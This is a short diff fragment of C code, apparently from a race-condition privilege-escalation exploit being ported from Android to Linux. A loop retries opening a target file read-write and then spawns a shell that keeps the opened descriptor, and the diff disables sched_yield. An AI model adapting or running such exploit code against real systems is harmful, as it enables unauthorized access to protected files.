while (1) {
int fd = open(argv[2], O_RDWR);
if (fd == -1) {
- sched_yield();
+ //sched_yield();
continue;
}
printf("Success! Here's your shell with open fd.\n");
- execl("/system/bin/sh", "sh", NULL);
+ execl("/bin/sh", "sh", NULL);
printf("\nshell exited, resuming race\n");
}
}